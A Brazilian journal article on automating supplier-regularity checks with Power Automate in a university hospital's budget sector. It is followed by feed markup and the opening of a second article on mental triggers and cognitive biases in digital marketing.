<p class="wp-block-paragraph"><strong>Palavras-chave: </strong>Administração pública, produtividade, agilidade, <em>power automate,</em> tarefas repetitivas.</p>



<p class="wp-block-paragraph"><strong>ABSTRACT</strong></p>



<p class="wp-block-paragraph">Currently, with the significant increase in oversight within public agencies and the simultaneous reduction in the number of civil servants, the adoption of automated solutions to streamline bureaucratic processes has become not only timely but essential for the efficiency of public administration—an embodiment of the well-known principle of &#8220;doing more with less.&#8221; The digitalization of processes and the advancement of digital tools underscore the need for their strategic and fundamental integration into the public sector, aiming to optimize both time and productivity. Among these solutions, there are even free alternatives designed to simplify the execution of repetitive tasks. One notable example is Microsoft’s Power Platform, which enables the creation of customized task flows. These applications allow for the automation of routine operations, ensuring that tasks performed exhaustively by humans can now be executed automatically by the system.</p>



<p class="wp-block-paragraph"><strong>Keywords: </strong>Public administration; productivity; agility; Power Automate; repetitive tasks.</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">O planejamento estratégico, diz respeito à capacidade que o estado tem em construir, criativamente e interativamente com a sociedade, uma visão de futuro do país e de si mesmo, concatenando meios e fins suficientes e necessários para sua execução. (Toni, Jackson de, Enap, 2021).</p>



<p class="wp-block-paragraph">A teoria da burocracia de Max Weber contribuiu muito para administração pública no que diz respeito às divisões de funções e tarefas, hierarquia, rigidez nos processos e impessoalidade, porém o excesso de burocracia que existe atualmente pode levar à ineficiência com o apego às regras atuais e por consequência e a perda da eficiência. (Merton, Robert K. 1940).</p>



<p class="wp-block-paragraph">A administração gerencial proposta por Peter Drucker (1954) promove uma ruptura com os modelos burocráticos e enfatiza a gestão por resultados. Em sua visão a burocracia compromete a eficiência da organização ao criar processos lentos às demandas.&nbsp;</p>



<p class="wp-block-paragraph">Estando em constante mudanças digitais a administração pública mesmo com dificuldades de implantação devido a resistência do corpo funcional, onde a burocracia dos processos administrativos aumentam à medida que a fiscalização, normas e leis são criadas e juntamente para contemplar o ciclo contínuo de ações o PDCA (Plan, Do, Check, Act), em português, Planejar, Executar, Verificar e Agir, procura-se utilizar os meios disponíveis para que as tarefas operacionais e repetitivas sejam executadas de maneiras ágeis substituindo parcialmente ou totalmente os processos manuais, desse modo disponibilizando maior tempo para tomadas de decisões técnicas, racionais e eficazes.&nbsp;</p>



<p class="wp-block-paragraph">Desse modo, há possibilidades de automatizar tais processos repetitivos que não precisam necessariamente serem feitos por pessoas e sim automaticamente respeitando fluxos padronizados e bem definidos. A exemplo, aqui é apresentado uma experiência de fluxos automatizados utilizando o aplicativo <em>Microsoft Power Automate </em>realizada no setor orçamentário de um hospital universitário federal, cujo objetivo é realizar pesquisas em sítios públicos que regulamentam normativas para empenhos, liquidações e pagamentos às empresas privadas contratadas que fornecem materiais e serviços com o respectivo órgão público.</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>REFERENCIAL TEÓRICO</strong></p>



<p class="wp-block-paragraph">Para esclarecimentos de alguns conceitos importantes abordados neste artigo, seguem as definições:</p>



<p class="wp-block-paragraph"><strong>2.1</strong> <strong>Orçamento Público</strong></p>



<p class="wp-block-paragraph">De acordo com Giacomoni (2012), o orçamento é a lei que estima a arrecadação e fixa as despesas. Trata-se de um instrumento de planejamento que detalha a previsão de recursos a serem arrecadados por meio de impostos e outras fontes, bem como a destinação desses recursos para o atendimento das necessidades públicas.</p>



<p class="wp-block-paragraph">A execução orçamentária é a etapa central na administração pública, principalmente no que se refere a aplicação dos recursos previstos na Lei Orçamentária Anual &#8211; LOA.</p>



<p class="wp-block-paragraph">Em relação à destinação e a execução da despesa pública a aplicação do orçamento arrecadado para custear os serviços públicos prestados à sociedade se dá através de três estágios da execução: <strong>empenho </strong>que<strong> </strong>configura a primeira etapa da despesa pública onde o governo reserva dinheiro para o futuro compromisso de pagamento à empresa quando o bem for entregue ou o serviço concluído, isso evita que se gaste mais do que foi planejado; <strong>liquidação</strong> trata de quando se verifica que o governo recebeu aquilo que foi pactuado e realiza os descontos dos tributos federais obrigatórios, também, quando se confere que o produto ou serviço foi entregue em conformidade contratual e o <strong>pagamento</strong> representa a etapa final da execução da despesa, sendo realizado após a verificação da regularidade da liquidação, onde o governo repassa o valor ao vendedor do produto ou prestador de serviço contratado. (lei nº 4.320, de 17/03/1964).</p>



<p class="wp-block-paragraph"><strong>2.2</strong> <strong>Normativas (Leis, leis complementares e decretos)&nbsp;</strong></p>



<p class="wp-block-paragraph">Assim como a constituição federal de 1988 e a lei de responsabilidade fiscal nº 101/2000, Bezerra, Matias Pereira, argumenta que as normas também são essenciais para garantir a transparência, responsabilidade e eficiência na gestão dos recursos públicos.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.2.1</strong> <strong>CADIN</strong> – Cadastro Informativo de Créditos não Quitados do Setor Público Federal, são informações sobre pessoas físicas e jurídicas que possuem débitos vencidos e não pagos com órgãos e entidades da administração pública federal direta e indireta (Lei nº 10.522/2022). Trata-se de um mecanismo de incentivo à inadimplência e proteção à administração pública, pois tem a função de impedir que empresas ou pessoas tenham acesso a créditos, benefícios fiscais e celebração de novos contratos com o poder público. Portanto, caso a empresa esteja inscrita no CADIN, esse fato impossibilita o empenho e também o pagamento para a mesma.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.2.2</strong> <strong>SICAF</strong> – Sistema de Cadastro de Fornecedores, sistema que permite às empresas cadastradas e habilitadas a participarem de licitações e contratações com a administração pública. O objetivo é padronizar o processo de fornecedores juntando informações jurídicas, fiscais, trabalhistas e econômicas, instrumento importante na integridade e eficiência nas compras públicas (Decreto nº 3722, de 09 de janeiro de 2021). Nesse caso, se a empresa está com irregularidades, também impossibilita o empenho para a mesma.</p>



<p class="wp-block-paragraph"><strong>2.2.3</strong> <strong>SIMPLES NACIONAL</strong> – Trata-se de um regime tributário voltado para microempresas e empresas de pequeno porte que facilita o cumprimento das obrigações fiscais, reduzindo a carga tributária e incentivando o empreendedorismo. Ferramenta de fortalecimento para pequenos negócios e desburocratização da carga tributária (Lei complementar nº 123, 14 de dezembro de 2006). Essa normativa regulamenta a tributação que o fornecedor se enquadra para executar a retenção no momento da Liquidação da nota fiscal.</p>



<p class="wp-block-paragraph"><strong>2.3</strong> <strong><em>Microsoft Power Automate</em></strong></p>



<p class="wp-block-paragraph">O <em>Power Automate</em> é uma ferramenta interessante de soluções para execução de tarefas repetitivas sem intervenção humana direta que oferece flexibilidade, eficiência e inteligência de automação RPA (<em>robotic process automation</em>). A RPA permite que uma tarefa manual seja registrada ou programada em um <em>software</em> que os usuários podem desenvolver com interfaces gráficas de baixo ou sem nenhum código de programação (Gartner, 2024).</p>



<p class="wp-block-paragraph">Através da montagem de fluxos baseados em gatilhos e ações que iniciarão o fluxo, consegue-se automatizar processos repetitivos com baixo custo, com métodos de fácil montagem e nada de linhas de programação. Por ser uma aplicativo da empresa <em>Microsoft</em> é possível o compartilhamento de dados com outros aplicativos da mesma empresa, por exemplo: <em>teams, outlook, sharepoint e excel,</em> o que facilita o processo de execução.</p>



<p class="wp-block-paragraph"><strong>3.</strong> <strong>PROCEDIMENTOS METODOLÓGICOS</strong></p>



<p class="wp-block-paragraph">O estudo de caso é uma experiência realizada no Setor Orçamentário de um Hospital Universitário Federal onde existe uma grande demanda de execuções orçamentárias relativas aos empenhos, liquidações e pagamentos, na qual por força de leis e normas, há uma gama de burocracias antes de realizá-los. Para conseguir atender a demanda em constante crescimento e manter o mesmo número de colaboradores, esse trabalho tem o intuito de planejar&nbsp; modelos de automatizações que reduzirão o tempo de cada operação orçamentária. Desse modo, o funcionário poderá concentrar-se em processos que exigem tomadas de decisões e demandas que apenas agentes humanos conseguem resolver.&nbsp;</p>



<p class="wp-block-paragraph">A metodologia deste trabalho baseia-se puramente quantitativamente na análise de dados disponibilizados publicamente no portal de transparência do hospital universitário, a exemplo, a quantidade de serviços realizados no setor ao ano e o tempo desperdiçado obrigatoriamente para atender as normativas e leis vigentes e abrangentes.</p>



<p class="wp-block-paragraph">Em contrapartida, com a adoção da automação obteremos resultados como o aumento da produtividade e a precisão na tomada de decisões em outras demandas que exigem alguma conformidade e consequentemente a possibilidade de redução de erros no setor. Os aplicativos de referências usados para esse estudo, bem como as suas utilidades e os dados como números de demandas estão relacionados abaixo.</p>



<p class="wp-block-paragraph"><strong>3.1</strong> <strong>Power Automate</strong></p>



<p class="wp-block-paragraph">Aplicativo inicial conforme (figura 1) e o local onde o fluxo é montado para executar a demanda planejada (figura 2). O fluxo pode ser programado para executar a qualquer momento ou no caso do artigo ele é executado a partir do comando ou seja manualmente.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1 </strong>&#8211; Início Power Automate</p>



<figure class="wp-block-image size-full"><img decoding="async" width="676" height="386" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-376.png" alt="" class="wp-image-238449" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-376.png 676w, https://revistaft.com.br/wp-content/uploads/2025/10/image-376-300x171.png 300w" sizes="(max-width: 676px) 100vw, 676px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: <em>Microsoft</em></p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 2</strong> &#8211; Fluxo Power Automate</p>



<figure class="wp-block-image aligncenter size-large"><img decoding="async" width="1024" height="622" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-377-1024x622.png" alt="" class="wp-image-238450" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-377-1024x622.png 1024w, https://revistaft.com.br/wp-content/uploads/2025/10/image-377-300x182.png 300w, https://revistaft.com.br/wp-content/uploads/2025/10/image-377-768x466.png 768w, https://revistaft.com.br/wp-content/uploads/2025/10/image-377.png 1148w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: <em>Microsoft</em></p>



<p class="wp-block-paragraph"><strong>3.2</strong> <strong>Excel</strong></p>



<p class="wp-block-paragraph">Aplicativo de planilhas da <em>Microsoft</em> que através dela o aplicativo <em>power automate </em>realiza a busca automaticamente para incluir no fluxo e realizar as pesquisas conforme (figura 3)</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 3</strong> – Excel</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="357" height="281" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-378.png" alt="" class="wp-image-238451" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-378.png 357w, https://revistaft.com.br/wp-content/uploads/2025/10/image-378-300x236.png 300w" sizes="(max-width: 357px) 100vw, 357px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: <em>Microsoft Excel &#8211; </em>própria</p>



<p class="wp-block-paragraph"><strong>3.3</strong> <strong>Cadin</strong></p>



<p class="wp-block-paragraph">Sítio do governo para realizar as pesquisas (figura 4) de empresas cadastradas com débitos em órgãos públicos devido a irregularidades em outros contratos com qualquer ente da União. Para realizar a execução do empenho conforme Lei nº 10.522/2022, a empresa obrigatoriamente deverá estar regular perante seus débitos com a união conforme (figura 5). &nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 4</strong> &#8211; Cadin</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="902" height="456" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-379.png" alt="" class="wp-image-238453" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-379.png 902w, https://revistaft.com.br/wp-content/uploads/2025/10/image-379-300x152.png 300w, https://revistaft.com.br/wp-content/uploads/2025/10/image-379-768x388.png 768w" sizes="(max-width: 902px) 100vw, 902px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: www.cadin.gov.br</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 5</strong> &#8211; Resultado da pesquisa no Cadin</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="919" height="194" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-380.png" alt="" class="wp-image-238454" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-380.png 919w, https://revistaft.com.br/wp-content/uploads/2025/10/image-380-300x63.png 300w, https://revistaft.com.br/wp-content/uploads/2025/10/image-380-768x162.png 768w" sizes="(max-width: 919px) 100vw, 919px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: <a href="http://www.cadin.gov.br">www.cadin.gov.br</a></p>



<p class="wp-block-paragraph"><strong>3.4</strong> <strong>Sicaf</strong></p>



<p class="wp-block-paragraph">Sítio do governo para realizar as pesquisas (figura 6) de empresas cadastradas para verificar possíveis irregularidades no que diz respeito ao Ministério do Trabalho e Receita Federal, nesse caso não será a pesquisa que se dá no momento da execução do empenho e também na realização do pagamento, como acontecem em situações distintas é necessário realizar a pesquisa nos dois momentos. Conforme (figura 7).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 6</strong> &#8211; Sicaf</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="793" height="580" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-381.png" alt="" class="wp-image-238455" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-381.png 793w, https://revistaft.com.br/wp-content/uploads/2025/10/image-381-300x219.png 300w, https://revistaft.com.br/wp-content/uploads/2025/10/image-381-768x562.png 768w" sizes="(max-width: 793px) 100vw, 793px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: <a href="http://www.sicaf.gov.br">www.sicaf.gov.br</a></p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 7</strong> &#8211; Resultado da pesquisa no Sicaf</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="699" height="534" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-382.png" alt="" class="wp-image-238458" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-382.png 699w, https://revistaft.com.br/wp-content/uploads/2025/10/image-382-300x229.png 300w" sizes="(max-width: 699px) 100vw, 699px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: <a href="http://www.sicaf.gov.br">www.sicaf.gov.br</a></p>



<p class="wp-block-paragraph"><strong>3.5 Simples Nacional</strong></p>



<p class="wp-block-paragraph">Sítio do&nbsp; governo&nbsp; que realiza pesquisa (figura 8) em empresas enquadradas em micro empresas ou empresas de pequeno porte e o resultado da pesquisa onde demonstra o cadastro ou não no simples nacional para realizar a isenção da tributação conforme (figura 9)</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 8</strong> – Simples Nacional</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="660" height="478" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-384.png" alt="" class="wp-image-238461" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-384.png 660w, https://revistaft.com.br/wp-content/uploads/2025/10/image-384-300x217.png 300w" sizes="(max-width: 660px) 100vw, 660px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: https://www8.receita.fazenda.gov.br/simplesnacional&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 9</strong> – Resultado da pesquisa no Simples Nacional</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="735" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-385-1024x735.png" alt="" class="wp-image-238462" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-385-1024x735.png 1024w, https://revistaft.com.br/wp-content/uploads/2025/10/image-385-300x215.png 300w, https://revistaft.com.br/wp-content/uploads/2025/10/image-385-768x552.png 768w, https://revistaft.com.br/wp-content/uploads/2025/10/image-385.png 1054w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: https://www8.receita.fazenda.gov.br/simplesnacional&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>DISCUSSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">Considerando o aumento significativo de processos para as execuções de planejamento no setor orçamentário do hospital universitário (figura 10) juntamente com o rigor às leis e normas de fiscalização para evitar erros entre a organização pública e privadas fornecedoras de serviços e insumos,&nbsp; a adoção de ferramentas facilitadoras que auxiliam&nbsp; a produtividade e o acompanhamento dos processos é uma boa aliada no cotidiano dos órgão públicos, tornando uma tendência cada vez mais previsível diante das exigências por eficiência e transparência.</p>



<p class="wp-block-paragraph">Observa-se a figura 10 a crescente demanda do setor e a figura 11 a evolução anual da quantidade de pesquisas realizadas em sítios públicos, as quais são exigidas para o cumprimento de normativos vigentes.</p>



<p class="wp-block-paragraph">A legislação que rege a regra do CADIN é de 2022 e entrou em vigor em 2023, portanto a partir desse ano além da pesquisa do SICAF realizada no momento da execução do empenho tornou-se obrigatória a consulta no CADIN. Desse modo, dobrando as pesquisas da demanda.</p>



<p class="wp-block-paragraph">Analisando a figura 11 pode-se notar o aumento de pesquisas realizadas no ano de 2024, onde foram executados 21.882 pesquisas de empresas diferentes onde pesquisas para empenhos foram 6.252 pesquisas, 7.815 para liquidações e 7.815 pagamentos. Perfazendo um total de 70.917 pesquisas nos últimos 4 anos, que foram retirados documentos oficiais repetitivamente nos sites de pesquisas do governo.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 10</strong> – Demandas no Setor por ano</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="537" height="329" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-386.png" alt="" class="wp-image-238463" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-386.png 537w, https://revistaft.com.br/wp-content/uploads/2025/10/image-386-300x184.png 300w" sizes="(max-width: 537px) 100vw, 537px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: dados tesouro gerencial e gráfico próprio &nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 11</strong> – Total de Pesquisas por ano</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="539" height="359" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-388.png" alt="" class="wp-image-238465" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-388.png 539w, https://revistaft.com.br/wp-content/uploads/2025/10/image-388-300x200.png 300w" sizes="(max-width: 539px) 100vw, 539px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: dados tesouro gerencial e gráfico próprio&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.&nbsp;CONCLUSÃO</strong></p>



<p class="wp-block-paragraph">Esse trabalho apresenta alternativas de uso e análise da viabilidade da Automatização De Processos Utilizando&nbsp; Microsoft Power Automate para a busca do aumento da eficiência e produtividade de um setor altamente burocrático e rígido, devido às leis e normas impostas para ajudar a gestão e o governo para evitar a contratação de empresas com dívidas ou com pendências perante a outros órgãos reguladores. A adoção do RPA na rotina para executar tarefas repetitivas demonstra um ganho de desempenho e alívio para o servidor, permitindo direcionar sua atenção ao que de fato requer intervenção humana, com isso, o <em>Power Automate</em> não substituirá o funcionário e sim o auxiliará na organização, otimização e entrega de resultados.</p>



<p class="wp-block-paragraph">Os resultados dos testes ainda estão em desenvolvimento e sendo melhorados dia a dia, necessitando de ajustes e aceitação da equipe e da gestão local. A adesão a uma tendência forte e crescente nos órgãos públicos, principalmente às práticas ágeis, possibilitará que os processos e projetos sejam simplificados e otimizados, mas é necessário entender que precisamos de tempo, planejamento e treinamento para adaptação ao meio e conseguirmos lidar com essas mudanças tão significativas.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong></p>



<p class="wp-block-paragraph">Toni, Jackson de. Reflexões sobre o Planejamento Estratégico no Setor Público/ Brasília: Enap, 2021. (Cadernos Enap, 84).</p>



<p class="wp-block-paragraph">Merton, Robert K. Estrutura burocrática e personalidade. In: Edmundo Campos (organizador). Sociologia da burocracia. Rio de Janeiro: Zahar, 1966.</p>



<p class="wp-block-paragraph">Drucker, Peter ferdinand. A prática da administração de empresas. São Paulo: Pioneira, 1962.&nbsp;</p>



<p class="wp-block-paragraph">Batista, Fábio Ferreira. Modelo de Gestão do Conhecimento para Administração Pública. Ipea &#8211; Instituto de Pesquisa Econômica Aplicada. Brasília, 2012. pg 64&nbsp; <a href="http://www.ipea.gov.br">www.ipea.gov.br</a>.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Giacomini, James. Orçamento Governamental: teoria, sistema e processo. Atlas 19º edição 2023.</p>



<p class="wp-block-paragraph">Lei nº 10.522, de 19 de julho de 2002. Dispõe sobre o Cadastro Informativo dos créditos não quitados de órgãos e entidades federais e dá outras providências. <a href="http://www.planalto.gov.br">www.planalto.gov.br</a>.</p>



<p class="wp-block-paragraph">Decreto nº 3.722, de 09 de janeiro de 2001. Regulamenta o artº 34 da Lei 8.666, e dispõe sobre o Sistema de Cadastramento Unificado de Fornecedores &#8211; SICAF <a href="http://www.gov.br/compras">www.gov.br/compras</a>.</p>



<p class="wp-block-paragraph">Lei Complementar nº 123, de 14 de dezembro de 2006. Institui o Estatuto Nacional de Microempresa e da Empresa de Pequeno Porte. <a href="http://www.planalto.gov.br/civil_03/leis/lcp123.htm">www.planalto.gov.br/civil_03/leis/lcp123.htm</a></p>



<p class="wp-block-paragraph">Introdução aos fluxos da área de trabalho. Microsoft support power automate. <a href="https://learn.microsoft.com/pt-br/power-automate/desktop-flows/introduction">https://learn.microsoft.com/pt-br/power-automate/desktop-flows/introduction</a>.</p>



<p class="wp-block-paragraph">Tarefas básicas no Excel. Microsoft office support. <a href="https://support.microsoft.com/pt-br/office/tarefas-b%C3%A1sicas-no-excel-dc775dd1-fa52-430f-9c3c-d998d1735fca">https://support.microsoft.com/pt-br/office/tarefas-b%C3%A1sicas-no-excel-dc775dd1-fa52-430f-9c3c-d998d1735fca</a>.Tesouro Gerencial. <a href="https://tesourogerencial.tesouro.gov.br">https://tesourogerencial.tesouro.gov.br</a>.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Universidade Federal do Mato Grosso do Sul – UFMS. Mestrado Profissional em Administração Pública &#8211; PROFIAP. Campo Grande – MS – Brasil<br><sup>2</sup>Universidade Federal do Mato Grosso do Sul – UFMS. Mestrado Profissional em Administração Pública – PROFIAP. Campo Grande – MS – Brasil</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>A PERSUASÃO INVISÍVEL: A INFLUÊNCIA DOS GATILHOS MENTAIS E VIESES COGNITIVOS NO MARKETING DIGITAL</title>
		<link>https://revistaft.com.br/a-persuasao-invisivel-a-influencia-dos-gatilhos-mentais-e-vieses-cognitivos-no-marketing-digital/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Thu, 09 Oct 2025 18:41:09 +0000</pubDate>
				<category><![CDATA[Administração]]></category>
		<category><![CDATA[Volume 29 - Edição 151/OUT 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=238419</guid>

					<description><![CDATA[INVISIBLE PERSUASION: THE INFLUENCE OF MENTAL TRIGGERS&#160;AND COGNITIVE BIASES IN DIGITAL MARKETING REGISTRO DOI: 10.69849/revistaft/cl10202510100948 Ellen dos Santos Oliveira1Maria Luiza de Oliveira Barbosa2Orientador: Leonardo Camisassa Fernandes3 RESUMO: O marketing digital tem se consolidado como uma das principais ferramentas de comunicação no ambiente empresarial contemporâneo, especialmente devido à sua&#160;capacidade de segmentação e personalização, o uso de [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">INVISIBLE PERSUASION: THE INFLUENCE OF MENTAL TRIGGERS&nbsp;AND COGNITIVE BIASES IN DIGITAL MARKETING</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202510100948</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Ellen dos Santos Oliveira<sup>1</sup><br>Maria Luiza de Oliveira Barbosa<sup>2</sup><br>Orientador: Leonardo Camisassa Fernandes<sup>3</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO: </strong>O marketing digital tem se consolidado como uma das principais ferramentas de comunicação no ambiente empresarial contemporâneo, especialmente devido à sua&nbsp;capacidade de segmentação e personalização, o uso de gatilhos mentais e vieses cognitivos&nbsp;surge como estratégia para influenciar, de maneira muitas vezes inconsciente, as decisões&nbsp;de compra dos consumidores. A pesquisa teve como objetivo geral analisar como esses mecanismos são utilizados no marketing digital para impactar o comportamento dos&nbsp;consumidores. A metodologia adotada foi de natureza quantitativa, com aplicação de um&nbsp;questionário online para coleta de dados, além de pesquisa bibliográfica fundamentada em autores como Kahneman (2012), Cialdini (2006) e Bullock (2014). Os resultados&nbsp;demonstram que a maioria dos consumidores reconhece ser influenciada, ainda que de&nbsp;forma inconsciente, por estratégias baseadas em urgência, escassez e prova social, uma parcela significativa relatou já ter realizado compras por impulso motivadas por anúncios com gatilhos emocionais e posteriormente se arrependeu. A discussão evidencia que,&nbsp;embora os consumidores estejam cada vez mais conscientes das práticas do marketing digital, os mecanismos psicológicos continuam atuando de maneira eficaz sobre suas decisões. Conclui-se que os gatilhos mentais e os vieses cognitivos operam de forma&nbsp;poderosa e muitas vezes invisível no ambiente digital, moldando comportamentos de consumo. Torna-se, portanto, imprescindível que as empresas adotem práticas&nbsp;responsáveis, equilibrando seus interesses comerciais com a proteção dos direitos e da autonomia dos consumidores, além de estimular uma postura crítica e consciente por parte do público.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> Marketing Digital. Gatilhos Mentais. Vieses Cognitivos. Comportamento do Consumidor. Ética Empresarial.</p>



<p class="wp-block-paragraph"><strong>ABSTRACT:</strong> Digital marketing has established itself as one of the main communication tools in the contemporary business environment, especially due to its capacity for segmentation&nbsp;and personalization. The use of mental triggers and cognitive biases arises as a strategy to&nbsp;influence, often unconsciously, consumers’ purchasing decisions. The main objective of this&nbsp;research was to analyze how these mechanisms are utilized in digital marketing to impact consumer behavior. The methodology adopted was quantitative in nature, with the&nbsp;application of an online questionnaire for data collection, as well as a bibliographic review&nbsp;based on authors such as Kahneman (2012), Cialdini (2006), and Bullock (2014). The results&nbsp;show that most consumers recognize being influenced, even if unconsciously, by strategies based on urgency, scarcity, and social proof; a significant portion reported having made impulse purchases motivated by ads using emotional triggers and later regretted it. The&nbsp;discussion highlights that although consumers are increasingly aware of digital marketing practices, psychological mechanisms continue to effectively influence their decisions. It is&nbsp;concluded that mental triggers and cognitive biases operate powerfully and often invisibly in&nbsp;the digital environment, shaping consumption behaviors. Therefore, it becomes essential for companies to adopt responsible practices, balancing their commercial interests with the protection of consumers’ rights and autonomy, as well as encouraging a critical and conscious attitude among the public.</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> Digital Marketing. Mental Triggers. Cognitive Biases. Consumer Behavior. Business Ethics.</p>



<p class="wp-block-paragraph"><strong>1. INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">O marketing exerce um papel fundamental no ambiente organizacional, sendo responsável por criar, comunicar e entregar valor aos clientes, além de gerir relacionamentos de longo prazo com o público-alvo. Evidente que a função estratégica não apenas contribui para o crescimento das organizações, como também promove benefícios à sociedade ao influenciar padrões de consumo e comportamento. No Brasil, o marketing passou a ganhar destaque a partir de 1954, sob forte influência de modelos estrangeiros, especialmente norte-americanos. Inicialmente traduzido como “mercadologia”, o conceito foi se desenvolvendo até que, em 1960, a American Marketing Association (AMA) o definiu como o conjunto de atividades que direciona o fluxo de bens e serviços do produtor ao consumidor (AMA, 1960)</p>



<p class="wp-block-paragraph">Com o advento das tecnologias digitais e o crescimento exponencial da internet, surgiu o marketing digital, que transformou profundamente as formas de comunicação entre empresas e consumidores. Diferentemente dos meios tradicionais, como rádio e televisão, o marketing digital baseia-se em plataformas online como Facebook, Instagram, TikTok, entre outras, isto permite a criação de campanhas segmentadas, promovendo uma interação mais direta e participativa com o público. O marketing online se fundamenta em transações eletrônicas que favorecem a transferência de produtos e serviços, além de ampliar o acesso à informação, o que permite ao consumidor comparar preços, qualidade e benefícios antes de efetivar uma compra (Las Casas, 2006).</p>



<p class="wp-block-paragraph">Nesse contexto, observa-se uma crescente aplicação de conhecimentos da psicologia no marketing digital, especialmente no estudo do comportamento do consumidor. Um dos principais recursos utilizados são os gatilhos mentais, mecanismos que impulsionam a tomada de decisões de maneira inconsciente, muitas vezes sem que o indivíduo realize uma análise racional aprofundada (Roquim, 2021) Os respectivos estímulos aceleram o processo decisório, podendo influenciar o consumidor tanto de forma benéfica quanto prejudicial, os gatilhos exploram emoções, instintos e padrões humanos universais para direcionar escolhas, sendo amplamente explorados em ambientes digitais (Bullock, 2014).</p>



<p class="wp-block-paragraph">Posto isso, além dos gatilhos mentais, os vieses cognitivos também desempenham um papel relevante nas decisões de consumo. Trata-se de padrões automáticos de pensamento que afetam a percepção e o julgamento, operando como atalhos mentais baseados em experiências anteriores. Em situações de complexidade ou sob pressão, o cérebro tende a recorrer a esses atalhos para processar informações de forma mais rápida, o que pode resultar em julgamentos imprecisos e escolhas impulsivas (Lima <em>et.al.,</em> 2023).</p>



